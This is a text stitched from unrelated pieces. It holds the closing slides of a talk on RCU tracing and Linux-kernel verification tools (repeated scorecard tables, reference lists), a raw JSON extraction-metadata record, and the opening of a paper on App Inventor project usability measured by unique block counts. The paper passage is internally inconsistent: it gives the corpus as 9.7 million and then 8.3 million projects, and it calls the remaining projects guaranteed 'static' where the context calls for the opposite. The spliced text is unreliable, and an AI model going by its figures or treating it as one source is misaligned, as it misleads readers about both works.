<tr>
<td>(3) Low overhead</td>
<td></td>
<td></td>
<td></td>
<td>SAT?</td>
</tr>
<tr>
<td>(4) Map to source code</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>(5) Modest input</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>(6) Relevant bugs</td>
<td>???</td>
<td>???</td>
<td>???</td>
<td>???</td>
</tr>
</tbody>
</table>
Promela MM: Only SC: Weak memory must be implemented in model
Herd MM: Some PowerPC and ARM corner-case issues
CBMC MM: Only SC and TSO
**Note:** All four handle concurrency! (Promela has done so for 25 years!!!)
## Scorecard For Linux-Kernel C Code
<table>
<thead>
<tr>
<th></th>
<th>Promela</th>
<th>PPCMEM</th>
<th>Herd</th>
<th>CBMC</th>
<th>Test</th>
</tr>
</thead>
<tbody>
<tr>
<td>(1) Automated</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>(2) Handle environment</td>
<td>(MM)</td>
<td>(MM)</td>
<td></td>
<td>(MM)</td>
<td></td>
</tr>
<tr>
<td>(3) Low overhead</td>
<td></td>
<td></td>
<td>SAT?</td>
<td></td>
<td></td>
</tr>
<tr>
<td>(4) Map to source code</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>(5) Modest input</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>(6) Relevant bugs</td>
<td>???</td>
<td>???</td>
<td>???</td>
<td>???</td>
<td></td>
</tr>
</tbody>
</table>
So why do anything other than testing?
### Scorecard For Linux-Kernel C Code
<table>
<thead>
<tr>
<th></th>
<th>Promela</th>
<th>PPCMEM</th>
<th>Herd</th>
<th>CBMC</th>
<th>Test</th>
</tr>
</thead>
<tbody>
<tr>
<td>(1) Automated</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>(2) Handle environment</td>
<td>(MM)</td>
<td>(MM)</td>
<td>(MM)</td>
<td></td>
<td></td>
</tr>
<tr>
<td>(3) Low overhead</td>
<td></td>
<td></td>
<td></td>
<td>SAT?</td>
<td></td>
</tr>
<tr>
<td>(4) Map to source code</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>(5) Modest input</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>(6) Relevant bugs</td>
<td>???</td>
<td>???</td>
<td>???</td>
<td>???</td>
<td>???</td>
</tr>
</tbody>
</table>
So why do anything other than testing?
- Low-probability bugs can require expensive infinite testing regimen
- Large installed base will encounter low-probability bugs
- Safety-critical applications are sensitive to low-probability bugs
## Scorecard For Linux-Kernel C Code (Nidhugg TBD)
<table>
<thead>
<tr>
<th></th>
<th>Promela</th>
<th>PPCMEM</th>
<th>Herd</th>
<th>CBMC</th>
<th>Test</th>
</tr>
</thead>
<tbody>
<tr>
<td>(1) Automated</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Green</td>
</tr>
<tr>
<td>(2) Handle environment</td>
<td>(MM)</td>
<td>(MM)</td>
<td>(MM)</td>
<td>(MM)</td>
<td>Green</td>
</tr>
<tr>
<td>(3) Low overhead</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Yellow</td>
</tr>
<tr>
<td>(4) Map to source code</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Green</td>
</tr>
<tr>
<td>(5) Modest input</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Green</td>
</tr>
<tr>
<td>(6) Relevant bugs</td>
<td>???</td>
<td>???</td>
<td>???</td>
<td>???</td>
<td>???</td>
</tr>
</tbody>
</table>
So why do anything other than testing?
- Low-probability bugs can require expensive infinite testing regimen
- Large installed base will encounter low-probability bugs
- Safety-critical applications are sensitive to low-probability bugs
Summary
Summary
- Tracing is a small but critically important part of RCU development tooling
- RCU is becoming more tracing-friendly over time
- Other tools making progress as well, even formal verification
To Probe Deeper (RCU)
- [https://queue.acm.org/detail.cfm?id=2488549](https://queue.acm.org/detail.cfm?id=2488549)
- “Structured Deferral: Synchronization via Procrastination” (also in July 2013 CACM)
- [http://doi.ieeecomputersociety.org/10.1109/TPDS.2011.159](http://doi.ieeecomputersociety.org/10.1109/TPDS.2011.159) and
- “User-Level Implementations of Read-Copy Update”
- [git://lttng.org/userspace-rcu.git](git://lttng.org/userspace-rcu.git) (User-space RCU git tree)
- Applying RCU and weighted-balance tree to Linux mmap_sem.
- RCU-protected resizable hash tables, both in kernel and user space
- Combining RCU and software transactional memory
- [http://wiki.cs.pdx.edu/rp/: Relativistic programming, a generalization of RCU](http://wiki.cs.pdx.edu/rp/)
- [http://lwn.net/Articles/262464/, http://lwn.net/Articles/263130/, http://lwn.net/Articles/264090/](http://lwn.net/Articles/262464/, http://lwn.net/Articles/263130/, http://lwn.net/Articles/264090/)
- “What is RCU?” Series
- RCU motivation, implementations, usage patterns, performance (micro+sys)
- System-level performance for SELinux workload: >500x improvement
- Comparison of RCU and NBS (later appeared in JPDC)
- [http://doi.acm.org/10.1145/1400097.1400099](http://doi.acm.org/10.1145/1400097.1400099)
- History of RCU in Linux (Linux changed RCU more than vice versa)
- Harvard University class notes on RCU (Courtesy of Eddie Koher)
To Probe Deeper (1/5)
- Hash tables:
- Split counters:
- http://events.linuxfoundation.org/sites/events/files/slides/BareMetal.2014.03.09a.pdf
- Perfect partitioning
- Candide et al: “Dynamo: Amazon's highly available key-value store”
- http://doi.acm.org/10.1145/1323293.1294281
- http://kernel.org/pub/linux/kernel/people/paulmck/perfbook/perfbook.html Section 6.5
- McKenney: “Retrofitted Parallelism Considered Grossly Suboptimal”
- Embarrassing parallelism vs. humiliating parallelism
- https://www.usenix.org/conference/hotpar12/retro%E2%80%9C%EF%AC%81tted-parallelism-considered-grossly-sub-optimal
- McKenney et al: “Experience With an Efficient Parallel Kernel Memory Allocator”
- Bonwick et al: “Magazines and Vmem: Extending the Slab Allocator to Many CPUs and Arbitrary Resources”
- http://static.usenix.org/event/usenix01/full_papers/bonwick/bonwick_html/
- Turner et al: “PerCPU Atomics”
To Probe Deeper (2/5)
- Stream-based applications:
- Sutton: “Concurrent Programming With The Disruptor”
• http://www.youtube.com/watch?v=UvE389P6Er4
- Thompson: “Mechanical Sympathy”
• http://mechanical-sympathy.blogspot.com/
- Read-only traversal to update location
- Arcangeli et al: “Using Read-Copy-Update Techniques for System V IPC in the Linux 2.5 Kernel”
• https://www.usenix.org/legacy/events/usenix03/tech/freenix03/full_papers/arcangeli/arcangeli_html/index.html
- Corbet: “Dcache scalability and RCU-walk”
• https://lwn.net/Articles/419811/
- Xu: “bridge: Add core IGMP snooping support”
• http://kerneltrap.com/mailarchive/linux-netdev/2010/2/26/6270589
- Triplett et al., “Resizable, Scalable, Concurrent Hash Tables via Relativistic Programming”
- Howard: “A Relativistic Enhancement to Software Transactional Memory”
- McKenney et al: “URCU-Protected Hash Tables”
• http://lwn.net/Articles/573431/
To Probe Deeper (3/5)
- Hardware lock elision: Overviews
- Kleen: “Scaling Existing Lock-based Applications with Lock Elision”
- http://queue.acm.org/detail.cfm?id=2579227
- Hardware lock elision: Hardware description
- POWER ISA Version 2.07
- http://www.power.org/documentation/power-isa-version-2-07/
- Intel® 64 and IA-32 Architectures Software Developer Manuals
- Jacobi et al: “Transactional Memory Architecture and Implementation for IBM System z”
- Hardware lock elision: Evaluations
- http://kernel.org/pub/linux/kernel/people/paulmck/perfbook/perfbook.html Section 16.3
- Hardware lock elision: Need for weak atomicity
- Herlihy et al: “Software Transactional Memory for Dynamic-Sized Data Structures”
- Shavit et al: “Data structures in the multicore age”
- http://doi.acm.org/10.1145/1897852.1897873
- Haas et al: “How FIFO is your FIFO queue?”
- http://dl.acm.org/citation.cfm?id=2414731
- Gramoli et al: “Democratizing transactional programming”
- http://doi.acm.org/10.1145/2541883.2541900
To Probe Deeper (4/5)
- **RCU**
- Desnoyers et al.: “User-Level Implementations of Read-Copy Update”
- [http://www.computer.org/cms/Computer.org/dl/trans/td/2012/02/extras/ttd2012020375s.pdf](http://www.computer.org/cms/Computer.org/dl/trans/td/2012/02/extras/ttd2012020375s.pdf)
- McKenney et al.: “RCU Usage In the Linux Kernel: One Decade Later”
- McKenney: “Structured deferral: synchronization via procrastination”
- [http://doi.acm.org/10.1145/2483852.2483867](http://doi.acm.org/10.1145/2483852.2483867)
- McKenney et al.: “User-space RCU” [https://lwn.net/Articles/573424/](https://lwn.net/Articles/573424/)
- **Possible future additions**
- Boyd-Wickizer: “Optimizing Communications Bottlenecks in Multiprocessor Operating Systems Kernels”
- McKenney: “N4037: Non-Transactional Implementation of Atomic Tree Move”
- McKenney: “C++ Memory Model Meets High-Update-Rate Data Structures”
To Probe Deeper (5/5)
- RCU theory and semantics, academic contributions (partial list)
- Gamsa et al., “Tornado: Maximizing Locality and Concurrency in a Shared Memory Multiprocessor Operating System”
- McKenney, “Exploiting Deferred Destruction: An Analysis of RCU Techniques”
- Hart, “Applying Lock-free Techniques to the Linux Kernel”
- Olsson et al., “TRASH: A dynamic LC-trie and hash data structure”
- Desnoyers, “Low-Impact Operating System Tracing”
- Dalton, “The Design and Implementation of Dynamic Information Flow Tracking ...”
- Gotsman et al., “Verifying Highly Concurrent Algorithms with Grace (extended version)”
- Liu et al., “Mindicators: A Scalable Approach to Quiescence”
- http://dx.doi.org/10.1109/ICDCS.2013.39
- Tu et al., “Speedy Transactions in Multicore In-memory Databases”
- http://doi.acm.org/10.1145/2517349.2522713
- Arbel et al., “Concurrent Updates with RCU: Search Tree as an Example”
Legal Statement
- This work represents the view of the author and does not necessarily represent the view of IBM.
- IBM and IBM (logo) are trademarks or registered trademarks of International Business Machines Corporation in the United States and/or other countries.
- Linux is a registered trademark of Linus Torvalds.
- Other company, product, and service names may be trademarks or service marks of others.
Questions?
|
{"Source-Url": "http://www2.rdrop.com/users/paulmck/RCU/RCUtrace.2016.10.12c.pdf", "len_cl100k_base": 8937, "olmocr-version": "0.1.50", "pdf-total-pages": 61, "total-fallback-pages": 0, "total-input-tokens": 91957, "total-output-tokens": 13036, "length": "2e13", "weborganizer": {"__label__adult": 0.00036716461181640625, "__label__art_design": 0.0004856586456298828, "__label__crime_law": 0.0002892017364501953, "__label__education_jobs": 0.0009813308715820312, "__label__entertainment": 0.00011217594146728516, "__label__fashion_beauty": 0.00014925003051757812, "__label__finance_business": 0.0004091262817382813, "__label__food_dining": 0.000308990478515625, "__label__games": 0.0009775161743164062, "__label__hardware": 0.003711700439453125, "__label__health": 0.0004622936248779297, "__label__history": 0.00034999847412109375, "__label__home_hobbies": 0.00016701221466064453, "__label__industrial": 0.0005240440368652344, "__label__literature": 0.0003733634948730469, "__label__politics": 0.0002188682556152344, "__label__religion": 0.0005269050598144531, "__label__science_tech": 0.0660400390625, "__label__social_life": 9.822845458984376e-05, "__label__software": 0.0105743408203125, "__label__software_dev": 0.912109375, "__label__sports_fitness": 0.00030231475830078125, "__label__transportation": 0.0005054473876953125, "__label__travel": 0.00018143653869628904}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 36227, 0.02284]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 36227, 0.53929]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 36227, 0.72688]], "google_gemma-3-12b-it_contains_pii": [[0, 29, false], [29, 266, null], [266, 300, null], [300, 445, null], [445, 695, null], [695, 980, null], [980, 994, null], [994, 1631, null], [1631, 1658, null], [1658, 2041, null], [2041, 2712, null], [2712, 3355, null], [3355, 4143, null], [4143, 4166, null], [4166, 5192, null], [5192, 6359, null], [6359, 7518, null], [7518, 7967, null], [7967, 8593, null], [8593, 8814, null], [8814, 8838, null], [8838, 9529, null], [9529, 9657, null], [9657, 10594, null], [10594, 10639, null], [10639, 11535, null], [11535, 11621, null], [11621, 11736, null], [11736, 12186, null], [12186, 12488, null], [12488, 13085, null], [13085, 14138, null], [14138, 15200, null], [15200, 15247, null], [15247, 15738, null], [15738, 15778, null], [15778, 16565, null], [16565, 17293, null], [17293, 17331, null], [17331, 17769, null], [17769, 17817, null], [17817, 18238, null], [18238, 19219, null], [19219, 20186, null], [20186, 21140, null], [21140, 21938, null], [21938, 22213, null], [22213, 23110, null], [23110, 23794, null], [23794, 24641, null], [24641, 25538, null], [25538, 25546, null], [25546, 25747, null], [25747, 28351, null], [28351, 29734, null], [29734, 30891, null], [30891, 32238, null], [32238, 34286, null], [34286, 35806, null], [35806, 36217, null], [36217, 36227, null]], "google_gemma-3-12b-it_is_public_document": [[0, 29, true], [29, 266, null], [266, 300, null], [300, 445, null], [445, 695, null], [695, 980, null], [980, 994, null], [994, 1631, null], [1631, 1658, null], [1658, 2041, null], [2041, 2712, null], [2712, 3355, null], [3355, 4143, null], [4143, 4166, null], [4166, 5192, null], [5192, 6359, null], [6359, 7518, null], [7518, 7967, null], [7967, 8593, null], [8593, 8814, null], [8814, 8838, null], [8838, 9529, null], [9529, 9657, null], [9657, 10594, null], [10594, 10639, null], [10639, 11535, null], [11535, 11621, null], [11621, 11736, null], [11736, 12186, null], [12186, 12488, null], [12488, 13085, null], [13085, 14138, null], [14138, 15200, null], [15200, 15247, null], [15247, 15738, null], [15738, 15778, null], [15778, 16565, null], [16565, 17293, null], [17293, 17331, null], [17331, 17769, null], [17769, 17817, null], [17817, 18238, null], [18238, 19219, null], [19219, 20186, null], [20186, 21140, null], [21140, 21938, null], [21938, 22213, null], [22213, 23110, null], [23110, 23794, null], [23794, 24641, null], [24641, 25538, null], [25538, 25546, null], [25546, 25747, null], [25747, 28351, null], [28351, 29734, null], [29734, 30891, null], [30891, 32238, null], [32238, 34286, null], [34286, 35806, null], [35806, 36217, null], [36217, 36227, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 36227, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 36227, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 36227, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 36227, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 36227, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 36227, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 36227, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 36227, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 36227, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 36227, null]], "pdf_page_numbers": [[0, 29, 1], [29, 266, 2], [266, 300, 3], [300, 445, 4], [445, 695, 5], [695, 980, 6], [980, 994, 7], [994, 1631, 8], [1631, 1658, 9], [1658, 2041, 10], [2041, 2712, 11], [2712, 3355, 12], [3355, 4143, 13], [4143, 4166, 14], [4166, 5192, 15], [5192, 6359, 16], [6359, 7518, 17], [7518, 7967, 18], [7967, 8593, 19], [8593, 8814, 20], [8814, 8838, 21], [8838, 9529, 22], [9529, 9657, 23], [9657, 10594, 24], [10594, 10639, 25], [10639, 11535, 26], [11535, 11621, 27], [11621, 11736, 28], [11736, 12186, 29], [12186, 12488, 30], [12488, 13085, 31], [13085, 14138, 32], [14138, 15200, 33], [15200, 15247, 34], [15247, 15738, 35], [15738, 15778, 36], [15778, 16565, 37], [16565, 17293, 38], [17293, 17331, 39], [17331, 17769, 40], [17769, 17817, 41], [17817, 18238, 42], [18238, 19219, 43], [19219, 20186, 44], [20186, 21140, 45], [21140, 21938, 46], [21938, 22213, 47], [22213, 23110, 48], [23110, 23794, 49], [23794, 24641, 50], [24641, 25538, 51], [25538, 25546, 52], [25546, 25747, 53], [25747, 28351, 54], [28351, 29734, 55], [29734, 30891, 56], [30891, 32238, 57], [32238, 34286, 58], [34286, 35806, 59], [35806, 36217, 60], [36217, 36227, 61]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 36227, 0.05505]]}
|
olmocr_science_pdfs
|
2024-12-02
|
2024-12-02
|
7b55845924e09b269cc598bb8e45d66883f1bafe
|
# Measuring the Usability and Capability of App Inventor to Create Mobile Applications
The MIT Faculty has made this article openly available. Please share how this access benefits you. Your story matters.
<table>
<thead>
<tr>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>As Published</td>
<td><a href="http://2015.splashcon.org/event/promoto2015-measuring-the-usability-and-capability-of-app-inventor-to-create-mobile-applications">http://2015.splashcon.org/event/promoto2015-measuring-the-usability-and-capability-of-app-inventor-to-create-mobile-applications</a></td>
</tr>
<tr>
<td>Publisher</td>
<td>Association for Computing Machinery (ACM)</td>
</tr>
<tr>
<td>Version</td>
<td>Author's final manuscript</td>
</tr>
<tr>
<td>Citable Link</td>
<td><a href="http://hdl.handle.net/1721.1/98913">http://hdl.handle.net/1721.1/98913</a></td>
</tr>
<tr>
<td>Terms of Use</td>
<td>Creative Commons Attribution-Noncommercial-Share Alike</td>
</tr>
<tr>
<td>Detailed Terms</td>
<td><a href="http://creativecommons.org/licenses/by-nc-sa/4.0/">http://creativecommons.org/licenses/by-nc-sa/4.0/</a></td>
</tr>
</tbody>
</table>
Measuring the Usability and Capability of App Inventor to Create Mobile Applications
Benjamin Xie Isra Shabir Hal Abelson
Department of Electrical Engineering and Computer Science
Massachusetts Institute of Technology
Cambridge, MA 02139, USA
{bxie, ishabir, hal}@mit.edu
Abstract
MIT App Inventor is a web service that enables users with little to no previous programming experience to create mobile applications using a visual blocks language. We analyze a sample of 5,228 random projects from the corpus of 9.7 million and group projects by functionality. We then use the number of unique blocks in projects as a metric to better understand the usability and realized capability of using App Inventor to implement specific functionalities. We introduce the notion of a usability score and our results indicate that introductory tutorials heavily influence the usability of App Inventor to implement particular functionalities. Our findings suggest that the sequential nature of App Inventor’s learning resources results in users realizing only a portion of App Inventor’s capabilities and propose improvements to these learning resources that are transferable to other programming environments and tools.
Categories and Subject Descriptors H.1.2 [User/Machine Systems]: Human factors
Keywords Mobile Computing, Computer Science Education, Quantitative Study, End-User Programming, Visual Languages
1. Introduction
MIT App Inventor is an environment that leverages a blocks-based visual programming language to enable people to create mobile apps for Android devices [1]. An App Inventor project consists of a set of components and a set of program blocks that enable the functionality of these components. Components include items visible on the phone screen (e.g. buttons, text boxes, images, drawing canvas) as well as non-visible items (e.g. camera, database, speech recognizer, GPS location sensor). The app is programmed using Blockly, a visual blocks-based programming framework [2]. Figure 1 shows the program blocks for an app to discourage texting while driving. When a text is received, a default message is sent back in response and the received text is read aloud.
There have been two main versions of App Inventor. App Inventor Classic (also known as App Inventor 1) was released in 2009 and ran its blocks editor in a separate Java application. In late 2013, App Inventor 2 (AI2) was released; the blocks editor now runs in a web browser. This research focuses on App Inventor 2 data [3].
App Inventor is taught to a broad audience, ranging from grade school to college students. Reports on courses taught depict App Inventor being used to create very diverse apps. These apps range from programs that discourage texting while driving, to apps that track school buses [4], to apps that organize community service cleanups [5]. The pattern we observe is that App Inventor enables "situated computing" [6]. This quarter-century old concept suggests that the convergence of computing, connectivity, and content
Figure 1. Blocks for an App Inventor 2 project that automatically respond to texts received with a predefined message and reads the received text aloud.
enables users to harness computing to bridge the gap between intentions and actions. App Inventor allows people to leverage their mobile devices and solve everyday problems they encounter.
App Inventor also has copious resources for self-learners, typically in the form of self-contained tutorials. A survey of 129,130 self-selected App Inventor users found that 73% of respondents used App Inventor at home, suggesting a significant portion of App Inventor users learn to use the service on their own and not in a formal learning environment. The App Inventor resources page includes 26 tutorials ranging from beginner level to advanced [7]. These tutorials involve creating an entire functioning app from start to finish. Each tutorial typically focuses on either introducing a new component (such as a canvas or GPS integration) or additional functionality for a previously introduced component.
To date, over 3.5 million users from 195 countries have created over 9.7 million apps with the MIT App Inventor service [1].
2. Objective
The goal of this paper is to evaluate the usability and capability of App Inventor to create apps of differing functionality by analyzing the apps created with App Inventor. We define usability as the ease of use of the App Inventor service to create an app. We define capability as the extent of App Inventor potential that is realized by users to implement certain functionality.
A guiding principle to the creation of a programming environment is the idea of a "low floor, high ceiling" [8]. That is, the environment must be usable enough such that beginners can easily create a basic yet functioning program (low floor), but also have extensible capabilities such that advanced users can also benefit (high ceiling). We are particularly interested in comparing the usability and capability of App Inventor for creating apps of differing functionality.
We analyze a random sample of projects and group them based on the types of components used in the app. We then look at both
the number of unique blocks in projects. We then evaluate how well suited the App Inventor environment is to creating apps with various functionalities.
In this paper, we explain our technical approach of extracting information from raw project data, filtering and grouping projects, and comparing the grouped projects given our metrics. We then discuss our findings in the context of the App Inventor service and its teaching resources.
3. Related Work
Prior to this work, analysis of App Inventor Classic data has been done by [9]. Some of the notable findings:
- Nearly 50% of users do not have a single block or component in any of their projects.
- 30% of all apps have no blocks and are therefore static and have no behavior.
- 51% of procedures are never called or only called once.
This data indicates that a large number of App Inventor Classic projects were never completed. It was suggested that a major contributing factor is the usability of the service. Whereas App Inventor 2 is a single-page web service, App Inventor Classic required the deployment of an external Java service to program the app. The high proportion of projects without blocks motivated the usability changes of the blocks in App Inventor 2.
An environment that leverages a blocks-based programming language very similar to App Inventor’s is Scratch. Scratch enables users to create interactive stories, games, and animations [10]. One research study on Scratch examined trends in user participation in Scratch [11]. This study categorized the Scratch blocks into five categories (Loops,Booleans,Operator,Broadcasts,andVariables)to illustrate different programming concepts in Scratch. Projects were differentiated according to the number of blocks of each type they contained.
Another study on Scratch examined the progression of users’ programming skills [12]. This quantitative analysis of elementary programming skills included measurements of “breadth,” the range of different features people used, and “depth,” the amount with which people used these features. Scratch’s 120 different programming primitives were grouped into 17 categories and the total number of distinct categories of primitives in each project measured its breadth. The total number of primitives per animation measured a project’s depth. Our metric of the total number of unique blocks in a project is similar to those used in this study.
An environment that enables users to develop mobile applications directly from their mobile devices is TouchDevelop. A field study of end-user programming on mobile devices was conducted with the objectives including measuring users’ progress with developing TouchDevelop scripts [13]. Researchers found that 71.3% of users learned a few features about the environment initially and then stopped learning new features. To encourage more continuous learning, researchers suggested providing an adaptive tutoring system that recommends tutorials similar to the kind of script a user is developing and avoids tutorials that cover features users already know. As discussed later in the paper, our findings suggest that App Inventor may also have a similar situation where users tend to only learn a subset of features available to them.
4. Technical Approach
We extracted features from a random sampling of App Inventor 2 projects. We grouped projects based on their functionality by considering the components they contain. We then measured the total number of unique blocks (NOUB) in the projects to determine the intricacy they exhibit. Finally, we examined the distribution of the NOUB in each group to answer our research question.
4.1 Data Source
Our source data is 5,228 App Inventor 2 projects selected at random from the total corpus of 8.3 million projects. We used Pandas, a Python data analysis library, for our data processing [14].
Of the 5,228 projects sampled:
- At least 16.4% (859 projects) are recreations of App Inventor tutorials. These recreations of the step-by-step tutorials were identified by matching project names. We considered only the 26 tutorials from the MIT App Inventor website, although many other tutorials made by other groups and individuals exist [15][16]. Projects that are recreations of the tutorials found on the MIT App Inventor website are filtered out of our dataset.
- 21% (1,107 projects) are certainly static; that is, they are guaranteed to be apps that have no behavior and never change state. If a project has no components, then there is nothing the user can interact with or for the app to do, so the project must be static. For an app to be interactive and have behavior, in addition to at least one component, it must also have at least two blocks: One to handle an event and one to respond to that event. Figure 2 shows an example of a simple action from two blocks. No functionality can occur with fewer than two blocks. We say an app is certainly static if it either has no components or has fewer than two blocks.

We choose to filter out the certainly static projects as well as projects that are recreations of tutorials, so our analysis was run over the remaining 3,289 projects. While we can guarantee that the remaining projects are static, we cannot guarantee the remaining projects have behavior, as their blocks may not be connected in a manner that allows for any behavior. Further improvements to filtering apps are discussed in the conclusion. For the purpose of analysis, we assume the remaining 3,289 projects have behavior and are not recreations of tutorials.
4.2 Feature Extraction
We focus primarily on quantitative features for our analysis, particularly the number of each type of component in a project, and the number of each type of block. This information exists in the source code of the projects.
Features Extracted from Projects:
- Project Name
- Username (anonymized)
- Number of Components by Type
- Number of Blocks by Type
4.3 Grouping Projects
We use the components within a project to group them by functionality. The palette in App Inventor organizes components by functionality, or behavior, and places each group in its own "drawer" (Figure 3). Because the palette neatly organizes components by...
functionality into categories, we use it to define our groups. If an app has components from multiple palette drawers, it may be categorized in multiple groups, as explained later in this section.
Figure 3. The palette groups components into categories. We use these categories to group projects by functionality.
We follow the palette drawers to define our groups, with two notable changes: Disregarding the entire “Layout” component drawer and the sound and clock components.
Layout components are removed because they do not add additional functionality and are therefore irrelevant for our groupings. These components only enable users to change the arrangement of an app’s visual components. Our emphasis is to group projects by their functionality, not their appearance or design.
The sound and clock components are removed to improve the differentiation between functionality groups. The sound component plays a sound whenever the user specifies. Examples include playing a “meow” when an image of a cat is pressed and playing a famous speech in a historical quiz app. The clock component enables apps to keep track of time. Uses for this vary from keeping time in a stopwatch app to periodically moving a sprite in a game app. Because the sound and clock components have such broad uses, they do not help differentiate apps’ behaviors between groups and are also excluded in the consideration of functionality groups.
We categorize the 3,289 apps into eight groups. Basic apps only contain User Interface components. Apps in the Media, Drawing, Sensor, Social, Storage, Connectivity, and Lego groups contain at least one component from that respective drawer in the palette. This categorization allows for overlap, as projects that contain components from multiple palette drawers are placed in multiple groups. For example, a project that uses both Bluetooth (connectivity) and Twitter (social) components would be grouped as both a Connectivity and Social app. The exception is the Lego group, which we deem to be an exclusive group because of the specificity of the components. Lego components are solely for integration with Lego Mindstorms [17]; if a project contains a Lego component, it is only grouped as Lego, regardless of other components it may contain.
Reiterating, Basic and Lego groups are disjoint from other groups and each other. Other groups may overlap. Table 1 provides a description of each group, the condition for a project to be in that group, and example apps and components from each group.
We use the components to group projects and the blocks to measure the intricacy of them.
4.4 Measuring Programmatic Intricacy
We define the intricacy of an App Inventor project as a measurement of the skill involved to create an app as evidenced by the blocks used. A more intricate app tends to either use more components or use blocks corresponding to these components more effectively.
Table 1. Functionality Groupings
<table>
<thead>
<tr>
<th>Group Name</th>
<th>Description of App Functionality (Example App)</th>
<th>Condition</th>
<th>Example Components</th>
</tr>
</thead>
<tbody>
<tr>
<td>Basic</td>
<td>Basic user interface functionality (Splits bill amongst certain number of people)</td>
<td>Only User Interface Components</td>
<td>Button, Image, Label, Notifier, Textbox</td>
</tr>
<tr>
<td>Media</td>
<td>Playing/recording audio or video (Click on picture of politician to hear their famous speech)</td>
<td>At least 1 media component (excluding “sound”)</td>
<td>Camera, Text-ToSpeech, VideoPlayer, MusicPlayer</td>
</tr>
<tr>
<td>Drawing</td>
<td>Use screen as canvas for drawing (Draw on picture of cat)</td>
<td>At least 1 drawing component</td>
<td>Canvas, Ball, ImageSprite</td>
</tr>
<tr>
<td>Sensor</td>
<td>Response to phones’ sensors (Shake phone to roll a die)</td>
<td>At least 1 sensor component (excluding “clock”)</td>
<td>Accelerometer Sensor, Location Sensor, NearField (NFC)</td>
</tr>
<tr>
<td>Social</td>
<td>Communication via phone or web (Click on a person’s picture to call or text them)</td>
<td>At least 1 social component</td>
<td>Texting, Twitter, PhoneCall</td>
</tr>
<tr>
<td>Storage</td>
<td>Saving information (Add items to grocery list and save list)</td>
<td>At least 1 storage component</td>
<td>TinyDB, Fusiontables Control, File</td>
</tr>
<tr>
<td>Connectivity</td>
<td>Networking with other apps and phones (Get latest stock quotes from web)</td>
<td>At least 1 connectivity component</td>
<td>ActivityStarter, Bluetooth-Client, Web</td>
</tr>
<tr>
<td>Lego</td>
<td>Control Lego Mindstorm kits (Remote control for Lego Mindstorm NXT robot)</td>
<td>At least 1 lego components</td>
<td>NxtDrive, NxtLight-Sensor</td>
</tr>
</tbody>
</table>
Code reuse is a particular focus in our measure of intricacy. For example, consider the case where two functionally similar projects exist and Project A copies the same code in three locations whereas Project B defines a procedure and calls that procedure three times. We argue Project B is more intricate as it leverages code reuse in the form of procedures. Project A has a greater number of blocks, but Project B has a greater number of unique blocks with the block to define a procedure and the block to call a procedure included. A project that appropriately uses a procedure rather than copying blocks shows evidence of greater computational thinking and therefore greater intricacy[18], even if the resulting apps have identical functionality.
We measure programmatic intricacy of App Inventor projects by looking at the NOUB that exist in the project. We choose the NOUB instead of the total number of blocks so the measure of intricacy is not affected by redundant code. This metric is consistent with previous analysis of Scratch, which has a similar yet simpler scripting language [11] [12].
5. Results
We show the division of the projects into groups then show the distribution of the number of unique blocks (NOUB) in projects of each group.
5.1 Grouping
After grouping projects by functionality, we find that 78.1% of projects can be categorized into a single group, with the remainder of the projects being categorized into multiple groups. The 3,289 projects were categorized into 4,282 groups; on average, a project fit into 1.3 groups. Figure 4 shows the division of projects into groups.
Based on the distribution of projects into the groups, we hypothesize a correlation between this distribution and App Inventor tutorials. Due to the simplicity of functionality that defines the group, the Basic group is the largest. Over half of the App Inventor beginner tutorials involve the creation of a drawing app [7] and we see that the Drawing group is the second largest group. These observations suggest that the large number of drawing apps users create are projects that are very similar in functionality to tutorials. The Lego group is the smallest, containing only 0.7% (27 projects) of the data. One likely explanation is the additional hardware requirement (Lego Mindstorm kits) to use an app grouped as Lego. Another is that there are no official tutorials for Lego projects, so users do not have a way to learn how to use the Lego components. We hypothesize that the number of projects in each functionality group correlates with the number of functionally similar tutorials available. We further address this in our Discussion section.
5.2 Number of Unique Blocks
We plot the distribution of the NOUB in each group and compare these subsets of projects to each other and to the entire set of projects. Figure 5 and Table 2 show the NOUB for projects within each group, as well as the distribution for all projects ("All" in Figure 5).
Each subset and the entire set of projects exhibits a positive skew, suggesting that each group contains a few outlier projects that have a significantly greater NOUB and are likely well-developed apps.
